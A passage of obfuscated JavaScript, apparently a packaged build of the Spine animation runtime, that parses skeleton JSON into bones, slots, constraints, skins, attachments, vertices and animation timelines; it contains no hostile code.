_0x16ba5b = new _0x487383(), _0x5b6e59 = 'string' == typeof _0x29e986 ? JSON['parse'](_0x29e986) : _0x29e986, _0x56d875 = _0x5b6e59['skeleton']; if (_0x56d875 && (_0x16ba5b['hash'] = _0x56d875['hash'], _0x16ba5b['version'] = _0x56d875['spine'], _0x16ba5b['x'] = _0x56d875['x'], _0x16ba5b['y'] = _0x56d875['y'], _0x16ba5b['width'] = _0x56d875['width'], _0x16ba5b['height'] = _0x56d875['height'], _0x16ba5b['fps'] = _0x56d875['fps'], _0x16ba5b['imagesPath'] = _0x56d875['images']), _0x5b6e59['bones']) for (let _0x38ef73 = 0x0; _0x38ef73 < _0x5b6e59['bones']['length']; _0x38ef73++) { let _0xe619cf = _0x5b6e59['bones'][_0x38ef73], _0x341781 = null, _0x102fbb = _0x562eb9(_0xe619cf, 'parent', null); _0x102fbb && (_0x341781 = _0x16ba5b['findBone'](_0x102fbb)); let _0x11898c = new _0x20d7c7(_0x16ba5b['bones']['length'], _0xe619cf['name'], _0x341781); _0x11898c['length'] = _0x562eb9(_0xe619cf, 'length', 0x0) * _0x9d2979, _0x11898c['x'] = _0x562eb9(_0xe619cf, 'x', 0x0) * _0x9d2979, _0x11898c['y'] = _0x562eb9(_0xe619cf, 'y', 0x0) * _0x9d2979, _0x11898c['rotation'] = _0x562eb9(_0xe619cf, 'rotation', 0x0), _0x11898c['scaleX'] = _0x562eb9(_0xe619cf, 'scaleX', 0x1), _0x11898c['scaleY'] = _0x562eb9(_0xe619cf, 'scaleY', 0x1), _0x11898c['shearX'] = _0x562eb9(_0xe619cf, 'shearX', 0x0), _0x11898c['shearY'] = _0x562eb9(_0xe619cf, 'shearY', 0x0), _0x11898c['transformMode'] = _0x380bba['enumValue'](_0x3c2597, _0x562eb9(_0xe619cf, 'transform', 'Normal')), _0x11898c['skinRequired'] = _0x562eb9(_0xe619cf, 'skin', !0x1); let _0x547886 = _0x562eb9(_0xe619cf, 'color', null); _0x547886 && _0x11898c['color']['setFromString'](_0x547886), _0x16ba5b['bones']['push'](_0x11898c); } if (_0x5b6e59['slots']) for (let _0x380d07 = 0x0; _0x380d07 < _0x5b6e59['slots']['length']; _0x380d07++) { let _0x4f5ede = _0x5b6e59['slots'][_0x380d07], _0x4401ba = _0x16ba5b['findBone'](_0x4f5ede['bone']); if (!_0x4401ba) throw new Error('Couldn\x27t\x20find\x20bone\x20' + _0x4f5ede['bone'] + '\x20for\x20slot\x20' + _0x4f5ede['name']); let _0x3cc461 = new _0x4bf8d9(_0x16ba5b['slots']['length'], _0x4f5ede['name'], _0x4401ba), _0x3688ff = _0x562eb9(_0x4f5ede, 'color', null); _0x3688ff && _0x3cc461['color']['setFromString'](_0x3688ff); let _0x3844c5 = _0x562eb9(_0x4f5ede, 'dark', null); _0x3844c5 && (_0x3cc461['darkColor'] = _0x2577a7['fromString'](_0x3844c5)), _0x3cc461['attachmentName'] = _0x562eb9(_0x4f5ede, 'attachment', null), _0x3cc461['blendMode'] = _0x380bba['enumValue'](_0x1dac33, _0x562eb9(_0x4f5ede, 'blend', 'normal')), _0x16ba5b['slots']['push'](_0x3cc461); } if (_0x5b6e59['ik']) for (let _0x168684 = 0x0; _0x168684 < _0x5b6e59['ik']['length']; _0x168684++) { let _0x373ea9 = _0x5b6e59['ik'][_0x168684], _0x28449e = new _0x111144(_0x373ea9['name']); _0x28449e['order'] = _0x562eb9(_0x373ea9, 'order', 0x0), _0x28449e['skinRequired'] = _0x562eb9(_0x373ea9, 'skin', !0x1); for (let _0x1c72fb = 0x0; _0x1c72fb < _0x373ea9['bones']['length']; _0x1c72fb++) { let _0x5f3684 = _0x16ba5b['findBone'](_0x373ea9['bones'][_0x1c72fb]); if (!_0x5f3684) throw new Error('Couldn\x27t\x20find\x20bone\x20' + _0x373ea9['bones'][_0x1c72fb] + '\x20for\x20IK\x20constraint\x20' + _0x373ea9['name'] + '.'); _0x28449e['bones']['push'](_0x5f3684); } let _0x5585c9 = _0x16ba5b['findBone'](_0x373ea9['target']); if (!_0x5585c9) throw new Error('Couldn\x27t\x20find\x20target\x20bone\x20' + _0x373ea9['target'] + '\x20for\x20IK\x20constraint\x20' + _0x373ea9['name'] + '.'); _0x28449e['target'] = _0x5585c9, _0x28449e['mix'] = _0x562eb9(_0x373ea9, 'mix', 0x1), _0x28449e['softness'] = _0x562eb9(_0x373ea9, 'softness', 0x0) * _0x9d2979, _0x28449e['bendDirection'] = _0x562eb9(_0x373ea9, 'bendPositive', !0x0) ? 0x1 : -0x1, _0x28449e['compress'] = _0x562eb9(_0x373ea9, 'compress', !0x1), _0x28449e['stretch'] = _0x562eb9(_0x373ea9, 'stretch', !0x1), _0x28449e['uniform'] = _0x562eb9(_0x373ea9, 'uniform', !0x1), _0x16ba5b['ikConstraints']['push'](_0x28449e); } if (_0x5b6e59['transform']) for (let _0x2fdd5a = 0x0; _0x2fdd5a < _0x5b6e59['transform']['length']; _0x2fdd5a++) { let _0x20df38 = _0x5b6e59['transform'][_0x2fdd5a], _0x5a5982 = new _0xab12f5(_0x20df38['name']); _0x5a5982['order'] = _0x562eb9(_0x20df38, 'order', 0x0), _0x5a5982['skinRequired'] = _0x562eb9(_0x20df38, 'skin', !0x1); for (let _0x37060e = 0x0; _0x37060e < _0x20df38['bones']['length']; _0x37060e++) { let _0xc267 = _0x20df38['bones'][_0x37060e], _0x33cbf7 = _0x16ba5b['findBone'](_0xc267); if (!_0x33cbf7) throw new Error('Couldn\x27t\x20find\x20bone\x20' + _0xc267 + '\x20for\x20transform\x20constraint\x20' + _0x20df38['name'] + '.'); _0x5a5982['bones']['push'](_0x33cbf7); } let _0x108dd5 = _0x20df38['target'], _0x1c9f0b = _0x16ba5b['findBone'](_0x108dd5); if (!_0x1c9f0b) throw new Error('Couldn\x27t\x20find\x20target\x20bone\x20' + _0x108dd5 + '\x20for\x20transform\x20constraint\x20' + _0x20df38['name'] + '.'); _0x5a5982['target'] = _0x1c9f0b, _0x5a5982['local'] = _0x562eb9(_0x20df38, 'local', !0x1), _0x5a5982['relative'] = _0x562eb9(_0x20df38, 'relative', !0x1), _0x5a5982['offsetRotation'] = _0x562eb9(_0x20df38, 'rotation', 0x0), _0x5a5982['offsetX'] = _0x562eb9(_0x20df38, 'x', 0x0) * _0x9d2979, _0x5a5982['offsetY'] = _0x562eb9(_0x20df38, 'y', 0x0) * _0x9d2979, _0x5a5982['offsetScaleX'] = _0x562eb9(_0x20df38, 'scaleX', 0x0), _0x5a5982['offsetScaleY'] = _0x562eb9(_0x20df38, 'scaleY', 0x0), _0x5a5982['offsetShearY'] = _0x562eb9(_0x20df38, 'shearY', 0x0), _0x5a5982['mixRotate'] = _0x562eb9(_0x20df38, 'mixRotate', 0x1), _0x5a5982['mixX'] = _0x562eb9(_0x20df38, 'mixX', 0x1), _0x5a5982['mixY'] = _0x562eb9(_0x20df38, 'mixY', _0x5a5982['mixX']), _0x5a5982['mixScaleX'] = _0x562eb9(_0x20df38, 'mixScaleX', 0x1), _0x5a5982['mixScaleY'] = _0x562eb9(_0x20df38, 'mixScaleY', _0x5a5982['mixScaleX']), _0x5a5982['mixShearY'] = _0x562eb9(_0x20df38, 'mixShearY', 0x1), _0x16ba5b['transformConstraints']['push'](_0x5a5982); } if (_0x5b6e59['path']) for (let _0x47a44d = 0x0; _0x47a44d < _0x5b6e59['path']['length']; _0x47a44d++) { let _0x1f0cc4 = _0x5b6e59['path'][_0x47a44d], _0x4aad64 = new _0x7cd642(_0x1f0cc4['name']); _0x4aad64['order'] = _0x562eb9(_0x1f0cc4, 'order', 0x0), _0x4aad64['skinRequired'] = _0x562eb9(_0x1f0cc4, 'skin', !0x1); for (let _0x2da26d = 0x0; _0x2da26d < _0x1f0cc4['bones']['length']; _0x2da26d++) { let _0x431505 = _0x1f0cc4['bones'][_0x2da26d], _0x2e3aa5 = _0x16ba5b['findBone'](_0x431505); if (!_0x2e3aa5) throw new Error('Couldn\x27t\x20find\x20bone\x20' + _0x431505 + '\x20for\x20path\x20constraint\x20' + _0x1f0cc4['name'] + '.'); _0x4aad64['bones']['push'](_0x2e3aa5); } let _0x4f4bec = _0x1f0cc4['target'], _0x5a647e = _0x16ba5b['findSlot'](_0x4f4bec); if (!_0x5a647e) throw new Error('Couldn\x27t\x20find\x20target\x20slot\x20' + _0x4f4bec + '\x20for\x20path\x20constraint\x20' + _0x1f0cc4['name'] + '.'); _0x4aad64['target'] = _0x5a647e, _0x4aad64['positionMode'] = _0x380bba['enumValue'](_0x224118, _0x562eb9(_0x1f0cc4, 'positionMode', 'Percent')), _0x4aad64['spacingMode'] = _0x380bba['enumValue'](_0x549ad5, _0x562eb9(_0x1f0cc4, 'spacingMode', 'Length')), _0x4aad64['rotateMode'] = _0x380bba['enumValue'](_0x2f99a6, _0x562eb9(_0x1f0cc4, 'rotateMode', 'Tangent')), _0x4aad64['offsetRotation'] = _0x562eb9(_0x1f0cc4, 'rotation', 0x0), _0x4aad64['position'] = _0x562eb9(_0x1f0cc4, 'position', 0x0), 0x0 == _0x4aad64['positionMode'] && (_0x4aad64['position'] *= _0x9d2979), _0x4aad64['spacing'] = _0x562eb9(_0x1f0cc4, 'spacing', 0x0), 0x0 != _0x4aad64['spacingMode'] && 0x1 != _0x4aad64['spacingMode'] || (_0x4aad64['spacing'] *= _0x9d2979), _0x4aad64['mixRotate'] = _0x562eb9(_0x1f0cc4, 'mixRotate', 0x1), _0x4aad64['mixX'] = _0x562eb9(_0x1f0cc4, 'mixX', 0x1), _0x4aad64['mixY'] = _0x562eb9(_0x1f0cc4, 'mixY', _0x4aad64['mixX']), _0x16ba5b['pathConstraints']['push'](_0x4aad64); } if (_0x5b6e59['skins']) for (let _0x2c8db7 = 0x0; _0x2c8db7 < _0x5b6e59['skins']['length']; _0x2c8db7++) { let _0x4c5437 = _0x5b6e59['skins'][_0x2c8db7], _0xb356a1 = new _0x511113(_0x4c5437['name']); if (_0x4c5437['bones']) for (let _0x5145f3 = 0x0; _0x5145f3 < _0x4c5437['bones']['length']; _0x5145f3++) { let _0x297bef = _0x4c5437['bones'][_0x5145f3], _0x4d33ae = _0x16ba5b['findBone'](_0x297bef); if (!_0x4d33ae) throw new Error('Couldn\x27t\x20find\x20bone\x20' + _0x297bef + '\x20for\x20skin\x20' + _0x4c5437['name'] + '.'); _0xb356a1['bones']['push'](_0x4d33ae); } if (_0x4c5437['ik']) for (let _0x5a65d2 = 0x0; _0x5a65d2 < _0x4c5437['ik']['length']; _0x5a65d2++) { let _0x24c326 = _0x4c5437['ik'][_0x5a65d2], _0x4c8c41 = _0x16ba5b['findIkConstraint'](_0x24c326); if (!_0x4c8c41) throw new Error('Couldn\x27t\x20find\x20IK\x20constraint\x20' + _0x24c326 + '\x20for\x20skin\x20' + _0x4c5437['name'] + '.'); _0xb356a1['constraints']['push'](_0x4c8c41); } if (_0x4c5437['transform']) for (let _0x407313 = 0x0; _0x407313 < _0x4c5437['transform']['length']; _0x407313++) { let _0x236ee5 = _0x4c5437['transform'][_0x407313], _0x7ee8bd = _0x16ba5b['findTransformConstraint'](_0x236ee5); if (!_0x7ee8bd) throw new Error('Couldn\x27t\x20find\x20transform\x20constraint\x20' + _0x236ee5 + '\x20for\x20skin\x20' + _0x4c5437['name'] + '.'); _0xb356a1['constraints']['push'](_0x7ee8bd); } if (_0x4c5437['path']) for (let _0x5317ea = 0x0; _0x5317ea < _0x4c5437['path']['length']; _0x5317ea++) { let _0x23b373 = _0x4c5437['path'][_0x5317ea], _0x3c1bba = _0x16ba5b['findPathConstraint'](_0x23b373); if (!_0x3c1bba) throw new Error('Couldn\x27t\x20find\x20path\x20constraint\x20' + _0x23b373 + '\x20for\x20skin\x20' + _0x4c5437['name'] + '.'); _0xb356a1['constraints']['push'](_0x3c1bba); } for (let _0xfda8a2 in _0x4c5437['attachments']) { let _0x51bc60 = _0x16ba5b['findSlot'](_0xfda8a2); if (!_0x51bc60) throw new Error('Couldn\x27t\x20find\x20slot\x20' + _0xfda8a2 + '\x20for\x20skin\x20' + _0x4c5437['name'] + '.'); let _0x162cef = _0x4c5437['attachments'][_0xfda8a2]; for (let _0x219955 in _0x162cef) { let _0x41a588 = this['readAttachment'](_0x162cef[_0x219955], _0xb356a1, _0x51bc60['index'], _0x219955, _0x16ba5b); _0x41a588 && _0xb356a1['setAttachment'](_0x51bc60['index'], _0x219955, _0x41a588); } } _0x16ba5b['skins']['push'](_0xb356a1), 'default' == _0xb356a1['name'] && (_0x16ba5b['defaultSkin'] = _0xb356a1); } for (let _0x4e0313 = 0x0, _0x5b30a0 = this['linkedMeshes']['length']; _0x4e0313 < _0x5b30a0; _0x4e0313++) { let _0x39910b = this['linkedMeshes'][_0x4e0313], _0x59e4b2 = _0x39910b['skin'] ? _0x16ba5b['findSkin'](_0x39910b['skin']) : _0x16ba5b['defaultSkin']; if (!_0x59e4b2) throw new Error('Skin\x20not\x20found:\x20' + _0x39910b['skin']); let _0xeb928a = _0x59e4b2['getAttachment'](_0x39910b['slotIndex'], _0x39910b['parent']); if (!_0xeb928a) throw new Error('Parent\x20mesh\x20not\x20found:\x20' + _0x39910b['parent']); _0x39910b['mesh']['timelineAttachment'] = _0x39910b['inheritTimeline'] ? _0xeb928a : _0x39910b['mesh'], _0x39910b['mesh']['setParentMesh'](_0xeb928a), null != _0x39910b['mesh']['region'] && _0x39910b['mesh']['updateRegion'](); } if (this['linkedMeshes']['length'] = 0x0, _0x5b6e59['events']) for (let _0x2dd440 in _0x5b6e59['events']) { let _0xce69d7 = _0x5b6e59['events'][_0x2dd440], _0x338e88 = new _0x3d9433(_0x2dd440); _0x338e88['intValue'] = _0x562eb9(_0xce69d7, 'int', 0x0), _0x338e88['floatValue'] = _0x562eb9(_0xce69d7, 'float', 0x0), _0x338e88['stringValue'] = _0x562eb9(_0xce69d7, 'string', ''), _0x338e88['audioPath'] = _0x562eb9(_0xce69d7, 'audio', null), _0x338e88['audioPath'] && (_0x338e88['volume'] = _0x562eb9(_0xce69d7, 'volume', 0x1), _0x338e88['balance'] = _0x562eb9(_0xce69d7, 'balance', 0x0)), _0x16ba5b['events']['push'](_0x338e88); } if (_0x5b6e59['animations']) for (let _0x262ca4 in _0x5b6e59['animations']) { let _0x26b796 = _0x5b6e59['animations'][_0x262ca4]; this['readAnimation'](_0x26b796, _0x262ca4, _0x16ba5b); } return _0x16ba5b; } ['readAttachment'](_0x560a1e, _0x1eb51a, _0x29907b, _0x9d43a9, _0x20b061) { let _0x40e57a = this['scale']; switch (_0x9d43a9 = _0x562eb9(_0x560a1e, 'name', _0x9d43a9), _0x562eb9(_0x560a1e, 'type', 'region')) { case 'region': { let _0x246da6 = _0x562eb9(_0x560a1e, 'path', _0x9d43a9), _0x55752f = this['readSequence'](_0x562eb9(_0x560a1e, 'sequence', null)), _0x4c7bb9 = this['attachmentLoader']['newRegionAttachment'](_0x1eb51a, _0x9d43a9, _0x246da6, _0x55752f); if (!_0x4c7bb9) return null; _0x4c7bb9['path'] = _0x246da6, _0x4c7bb9['x'] = _0x562eb9(_0x560a1e, 'x', 0x0) * _0x40e57a, _0x4c7bb9['y'] = _0x562eb9(_0x560a1e, 'y', 0x0) * _0x40e57a, _0x4c7bb9['scaleX'] = _0x562eb9(_0x560a1e, 'scaleX', 0x1), _0x4c7bb9['scaleY'] = _0x562eb9(_0x560a1e, 'scaleY', 0x1), _0x4c7bb9['rotation'] = _0x562eb9(_0x560a1e, 'rotation', 0x0), _0x4c7bb9['width'] = _0x560a1e['width'] * _0x40e57a, _0x4c7bb9['height'] = _0x560a1e['height'] * _0x40e57a, _0x4c7bb9['sequence'] = _0x55752f; let _0x52723f = _0x562eb9(_0x560a1e, 'color', null); return _0x52723f && _0x4c7bb9['color']['setFromString'](_0x52723f), null != _0x4c7bb9['region'] && _0x4c7bb9['updateRegion'](), _0x4c7bb9; } case 'boundingbox': { let _0x68115d = this['attachmentLoader']['newBoundingBoxAttachment'](_0x1eb51a, _0x9d43a9); if (!_0x68115d) return null; this['readVertices'](_0x560a1e, _0x68115d, _0x560a1e['vertexCount'] << 0x1); let _0x4f1d15 = _0x562eb9(_0x560a1e, 'color', null); return _0x4f1d15 && _0x68115d['color']['setFromString'](_0x4f1d15), _0x68115d; } case 'mesh': case 'linkedmesh': { let _0x1d2b36 = _0x562eb9(_0x560a1e, 'path', _0x9d43a9), _0x138ef7 = this['readSequence'](_0x562eb9(_0x560a1e, 'sequence', null)), _0x38c075 = this['attachmentLoader']['newMeshAttachment'](_0x1eb51a, _0x9d43a9, _0x1d2b36, _0x138ef7); if (!_0x38c075) return null; _0x38c075['path'] = _0x1d2b36; let _0x5d718d = _0x562eb9(_0x560a1e, 'color', null); _0x5d718d && _0x38c075['color']['setFromString'](_0x5d718d), _0x38c075['width'] = _0x562eb9(_0x560a1e, 'width', 0x0) * _0x40e57a, _0x38c075['height'] = _0x562eb9(_0x560a1e, 'height', 0x0) * _0x40e57a, _0x38c075['sequence'] = _0x138ef7; let _0x62a37a = _0x562eb9(_0x560a1e, 'parent', null); if (_0x62a37a) return this['linkedMeshes']['push'](new _0x4f8185(_0x38c075, _0x562eb9(_0x560a1e, 'skin', null), _0x29907b, _0x62a37a, _0x562eb9(_0x560a1e, 'timelines', !0x0))), _0x38c075; let _0x245c37 = _0x560a1e['uvs']; return this['readVertices'](_0x560a1e, _0x38c075, _0x245c37['length']), _0x38c075['triangles'] = _0x560a1e['triangles'], _0x38c075['regionUVs'] = _0x245c37, null != _0x38c075['region'] && _0x38c075['updateRegion'](), _0x38c075['edges'] = _0x562eb9(_0x560a1e, 'edges', null), _0x38c075['hullLength'] = 0x2 * _0x562eb9(_0x560a1e, 'hull', 0x0), _0x38c075; } case 'path': { let _0x4ee801 = this['attachmentLoader']['newPathAttachment'](_0x1eb51a, _0x9d43a9); if (!_0x4ee801) return null; _0x4ee801['closed'] = _0x562eb9(_0x560a1e, 'closed', !0x1), _0x4ee801['constantSpeed'] = _0x562eb9(_0x560a1e, 'constantSpeed', !0x0); let _0x504ad8 = _0x560a1e['vertexCount']; this['readVertices'](_0x560a1e, _0x4ee801, _0x504ad8 << 0x1); let _0x51cf92 = _0x380bba['newArray'](_0x504ad8 / 0x3, 0x0); for (let _0x45aa9c = 0x0; _0x45aa9c < _0x560a1e['lengths']['length']; _0x45aa9c++)_0x51cf92[_0x45aa9c] = _0x560a1e['lengths'][_0x45aa9c] * _0x40e57a; _0x4ee801['lengths'] = _0x51cf92; let _0x2c465f = _0x562eb9(_0x560a1e, 'color', null); return _0x2c465f && _0x4ee801['color']['setFromString'](_0x2c465f), _0x4ee801; } case 'point': { let _0x38c9e2 = this['attachmentLoader']['newPointAttachment'](_0x1eb51a, _0x9d43a9); if (!_0x38c9e2) return null; _0x38c9e2['x'] = _0x562eb9(_0x560a1e, 'x', 0x0) * _0x40e57a, _0x38c9e2['y'] = _0x562eb9(_0x560a1e, 'y', 0x0) * _0x40e57a, _0x38c9e2['rotation'] = _0x562eb9(_0x560a1e, 'rotation', 0x0); let _0x2bd8a0 = _0x562eb9(_0x560a1e, 'color', null); return _0x2bd8a0 && _0x38c9e2['color']['setFromString'](_0x2bd8a0), _0x38c9e2; } case 'clipping': { let _0x4df017 = this['attachmentLoader']['newClippingAttachment'](_0x1eb51a, _0x9d43a9); if (!_0x4df017) return null; let _0x3727aa = _0x562eb9(_0x560a1e, 'end', null); _0x3727aa && (_0x4df017['endSlot'] = _0x20b061['findSlot'](_0x3727aa)); let _0x572353 = _0x560a1e['vertexCount']; this['readVertices'](_0x560a1e, _0x4df017, _0x572353 << 0x1); let _0x26c9c5 = _0x562eb9(_0x560a1e, 'color', null); return _0x26c9c5 && _0x4df017['color']['setFromString'](_0x26c9c5), _0x4df017; } }return null; } ['readSequence'](_0x35337f) { if (null == _0x35337f) return null; let _0x4d140d = new _0x5f6ea8(_0x562eb9(_0x35337f, 'count', 0x0)); return _0x4d140d['start'] = _0x562eb9(_0x35337f, 'start', 0x1), _0x4d140d['digits'] = _0x562eb9(_0x35337f, 'digits', 0x0), _0x4d140d['setupIndex'] = _0x562eb9(_0x35337f, 'setup', 0x0), _0x4d140d; } ['readVertices'](_0x436f2f, _0x29f993, _0x160ba3) { let _0x28e733 = this['scale']; _0x29f993['worldVerticesLength'] = _0x160ba3; let _0x329ce7 = _0x436f2f['vertices']; if (_0x160ba3 == _0x329ce7['length']) { let _0x24fc81 = _0x380bba['toFloatArray'](_0x329ce7); if (0x1 != _0x28e733) { for (let _0x2487bd = 0x0, _0x576684 = _0x329ce7['length']; _0x2487bd < _0x576684; _0x2487bd++)_0x24fc81[_0x2487bd] *= _0x28e733; } return void (_0x29f993['vertices'] = _0x24fc81); } let _0x58e5bf = new Array(), _0x5aab79 = new Array(); for (let _0x58fcaa = 0x0, _0xe0b631 = _0x329ce7['length']; _0x58fcaa < _0xe0b631;) { let _0x39c57d = _0x329ce7[_0x58fcaa++]; _0x5aab79['push'](_0x39c57d); for (let _0x2431d1 = _0x58fcaa + 0x4 * _0x39c57d; _0x58fcaa < _0x2431d1; _0x58fcaa += 0x4)_0x5aab79['push'](_0x329ce7[_0x58fcaa]), _0x58e5bf['push'](_0x329ce7[_0x58fcaa + 0x1] * _0x28e733), _0x58e5bf['push'](_0x329ce7[_0x58fcaa + 0x2] * _0x28e733), _0x58e5bf['push'](_0x329ce7[_0x58fcaa + 0x3]); } _0x29f993['bones'] = _0x5aab79, _0x29f993['vertices'] = _0x380bba['toFloatArray'](_0x58e5bf); } ['readAnimation'](_0x45bd00, _0x22cc83, _0x87a618) { let _0x50f61f = this['scale'], _0x15b68a = new Array(); if (_0x45bd00['slots']) for (let _0x3eaea9 in _0x45bd00['slots']) { let _0x598048 = _0x45bd00['slots'][_0x3eaea9], _0x5531dd = _0x87a618['findSlot'](_0x3eaea9); if (!_0x5531dd) throw new Error('Slot\x20not\x20found:\x20' + _0x3eaea9); let _0x178a6a = _0x5531dd['index']; for (let _0x12eb54 in _0x598048) { let _0x3e17f5 = _0x598048[_0x12eb54]; if (!_0x3e17f5) continue; let _0xb43e77 = _0x3e17f5['length']; if ('attachment' == _0x12eb54) { let _0x5339eb = new _0x150783(_0xb43e77, _0x178a6a); for (let _0xae2ba8 = 0x0; _0xae2ba8 < _0xb43e77; _0xae2ba8++) { let _0x2e91ec = _0x3e17f5[_0xae2ba8]; _0x5339eb['setFrame'](_0xae2ba8, _0x562eb9(_0x2e91ec, 'time', 0x0), _0x562eb9(_0x2e91ec, 'name', null)); } _0x15b68a['push'](_0x5339eb); } else { if ('rgba' == _0x12eb54) { let _0x241460 = new _0x1c6845(_0xb43e77, _0xb43e77 << 0x2, _0x178a6a), _0x21e592 = _0x3e17f5[0x0], _0x1ec697 = _0x562eb9(_0x21e592, 'time', 0x0), _0x1dfb0c = _0x2577a7['fromString'](_0x21e592['color']); for (let _0x10818f = 0x0, _0x47d77c = 0x0; ; _0x10818f++) { _0x241460['setFrame'](_0x10818f, _0x1ec697, _0x1dfb0c['r'], _0x1dfb0c['g'], _0x1dfb0c['b'], _0x1dfb0c['a']); let _0x42c8b6 = _0x3e17f5[_0x10818f + 0x1]; if (!_0x42c8b6) { _0x241460['shrink'](_0x47d77c); break; } let _0x3a5d89 = _0x562eb9(_0x42c8b6, 'time', 0x0), _0x53833f = _0x2577a7['fromString'](_0x42c8b6['color']), _0x29f3c2 = _0x21e592['curve']; _0x29f3c2 && (_0x47d77c = _0xdd2e9b(_0x29f3c2, _0x241460, _0x47d77c, _0x10818f, 0x0, _0x1ec697, _0x3a5d89, _0x1dfb0c['r'], _0x53833f['r'], 0x1), _0x47d77c = _0xdd2e9b(_0x29f3c2, _0x241460, _0x47d77c, _0x10818f, 0x1, _0x1ec697, _0x3a5d89, _0x1dfb0c['g'], _0x53833f['g'], 0x1), _0x47d77c = _0xdd2e9b(_0x29f3c2, _0x241460, _0x47d77c, _0x10818f, 0x2, _0x1ec697, _0x3a5d89, _0x1dfb0c['b'], _0x53833f['b'], 0x1), _0x47d77c = _0xdd2e9b(_0x29f3c2, _0x241460, _0x47d77c, _0x10818f, 0x3, _0x1ec697, _0x3a5d89, _0x1dfb0c['a'], _0x53833f['a'], 0x1)), _0x1ec697 = _0x3a5d89, _0x1dfb0c = _0x53833f, _0x21e592 = _0x42c8b6; } _0x15b68a['push'](_0x241460); } else { if ('rgb' == _0x12eb54) { let _0x20285e = new _0xe2f048(_0xb43e77, 0x3 * _0xb43e77, _0x178a6a), _0x2921ac = _0x3e17f5[0x0], _0x1689b8 = _0x562eb9(_0x2921ac, 'time', 0x0), _0x4db6cc = _0x2577a7['fromString'](_0x2921ac['color']); for (let _0x3793f0 = 0x0, _0x538935 = 0x0; ; _0x3793f0++) { _0x20285e['setFrame'](_0x3793f0, _0x1689b8, _0x4db6cc['r'], _0x4db6cc['g'], _0x4db6cc['b']); let _0x2a15b0 = _0x3e17f5[_0x3793f0 + 0x1]; if (!_0x2a15b0) { _0x20285e['shrink'](_0x538935); break; } let _0x17602c = _0x562eb9(_0x2a15b0, 'time', 0x0), _0x1a02e1 = _0x2577a7['fromString'](_0x2a15b0['color']), _0x3cc87d = _0x2921ac['curve']; _0x3cc87d && (_0x538935 = _0xdd2e9b(_0x3cc87d, _0x20285e, _0x538935, _0x3793f0, 0x0, _0x1689b8, _0x17602c, _0x4db6cc['r'], _0x1a02e1['r'], 0x1), _0x538935 = _0xdd2e9b(_0x3cc87d, _0x20285e, _0x538935, _0x3793f0, 0x1, _0x1689b8, _0x17602c, _0x4db6cc['g'], _0x1a02e1['g'], 0x1), _0x538935 = _0xdd2e9b(_0x3cc87d, _0x20285e, _0x538935, _0x3793f0, 0x2, _0x1689b8, _0x17602c, _0x4db6cc['b'], _0x1a02e1['b'], 0x1)), _0x1689b8 = _0x17602c, _0x4db6cc = _0x1a02e1, _0x2921ac = _0x2a15b0; } _0x15b68a['push'](_0x20285e); } else { if ('alpha' == _0x12eb54) _0x15b68a['push'](_0x420d37(_0x3e17f5, new _0x2bdc46(_0xb43e77, _0xb43e77, _0x178a6a), 0x0, 0x1)); else { if ('rgba2' == _0x12eb54) { let _0x272cab = new _0x1a8cbe(_0xb43e77, 0x7 * _0xb43e77, _0x178a6a), _0x10bbbe = _0x3e17f5[0x0], _0x10da91 = _0x562eb9(_0x10bbbe, 'time', 0x0), _0xf14572 = _0x2577a7['fromString'](_0x10bbbe['light']), _0x4af24d = _0x2577a7['fromString'](_0x10bbbe['dark']); for (let _0x500336 = 0x0, _0x53dcbd = 0x0; ; _0x500336++) { _0x272cab['setFrame'](_0x500336, _0x10da91, _0xf14572['r'], _0xf14572['g'], _0xf14572['b'], _0xf14572['a'], _0x4af24d['r'], _0x4af24d['g'], _0x4af24d['b']); let _0x3eb2d2 = _0x3e17f5[_0x500336 + 0x1]; if (!_0x3eb2d2) { _0x272cab['shrink'](_0x53dcbd); break; } let _0x169a0a = _0x562eb9(_0x3eb2d2, 'time', 0x0), _0x5559b5 = _0x2577a7['fromString'](_0x3eb2d2['light']), _0x408eb7 = _0x2577a7['fromString'](_0x3eb2d2['dark']), _0x5a394c = _0x10bbbe['curve']; _0x5a394c && (_0x53dcbd = _0xdd2e9b(_0x5a394c, _0x272cab, _0x53dcbd, _0x500336, 0x0, _0x10da91, _0x169a0a, _0xf14572['r'], _0x5559b5['r'], 0x1), _0x53dcbd = _0xdd2e9b(_0x5a394c, _0x272cab, _0x53dcbd, _0x500336, 0x1, _0x10da91, _0x169a0a, _0xf14572['g'], _0x5559b5['g'], 0x1), _0x53dcbd = _0xdd2e9b(_0x5a394c, _0x272cab, _0x53dcbd, _0x500336, 0x2, _0x10da91, _0x169a0a, _0xf14572['b'], _0x5559b5['b'], 0x1), _0x53dcbd = _0xdd2e9b(_0x5a394c, _0x272cab, _0x53dcbd, _0x500336, 0x3, _0x10da91, _0x169a0a, _0xf14572['a'], _0x5559b5['a'], 0x1), _0x53dcbd = _0xdd2e9b(_0x5a394c, _0x272cab, _0x53dcbd, _0x500336, 0x4, _0x10da91, _0x169a0a, _0x4af24d['r'], _0x408eb7['r'], 0x1), _0x53dcbd = _0xdd2e9b(_0x5a394c, _0x272cab, _0x53dcbd, _0x500336, 0x5, _0x10da91, _0x169a0a, _0x4af24d['g'], _0x408eb7['g'], 0x1), _0x53dcbd = _0xdd2e9b(_0x5a394c, _0x272cab, _0x53dcbd, _0x500336, 0x6, _0x10da91, _0x169a0a, _0x4af24d['b'], _0x408eb7['b'], 0x1)), _0x10da91 = _0x169a0a, _0xf14572 = _0x5559b5, _0x4af24d = _0x408eb7, _0x10bbbe = _0x3eb2d2; } _0x15b68a['push'](_0x272cab); } else { if ('rgb2' == _0x12eb54) { let _0x2330b5 = new _0x504db7(_0xb43e77, 0x6 * _0xb43e77, _0x178a6a), _0x7ba742 = _0x3e17f5[0x0], _0x219d46 = _0x562eb9(_0x7ba742, 'time', 0x0), _0x24e771 = _0x2577a7['fromString'](_0x7ba742['light']), _0x37fb6a = _0x2577a7['fromString'](_0x7ba742['dark']); for (let _0x175f0b = 0x0, _0x285ed6 = 0x0; ; _0x175f0b++) { _0x2330b5['setFrame'](_0x175f0b, _0x219d46, _0x24e771['r'], _0x24e771['g'], _0x24e771['b'], _0x37fb6a['r'], _0x37fb6a['g'], _0x37fb6a['b']); let _0x28e49b = _0x3e17f5[_0x175f0b + 0x1]; if (!_0x28e49b) { _0x2330b5['shrink'](_0x285ed6); break; } let _0x12a555 = _0x562eb9(_0x28e49b, 'time', 0x0), _0x2c606c = _0x2577a7['fromString'](_0x28e49b['light']), _0x1eac33 = _0x2577a7['fromString'](_0x28e49b['dark']), _0x173273 = _0x7ba742['curve']; _0x173273 && (_0x285ed6 = _0xdd2e9b(_0x173273, 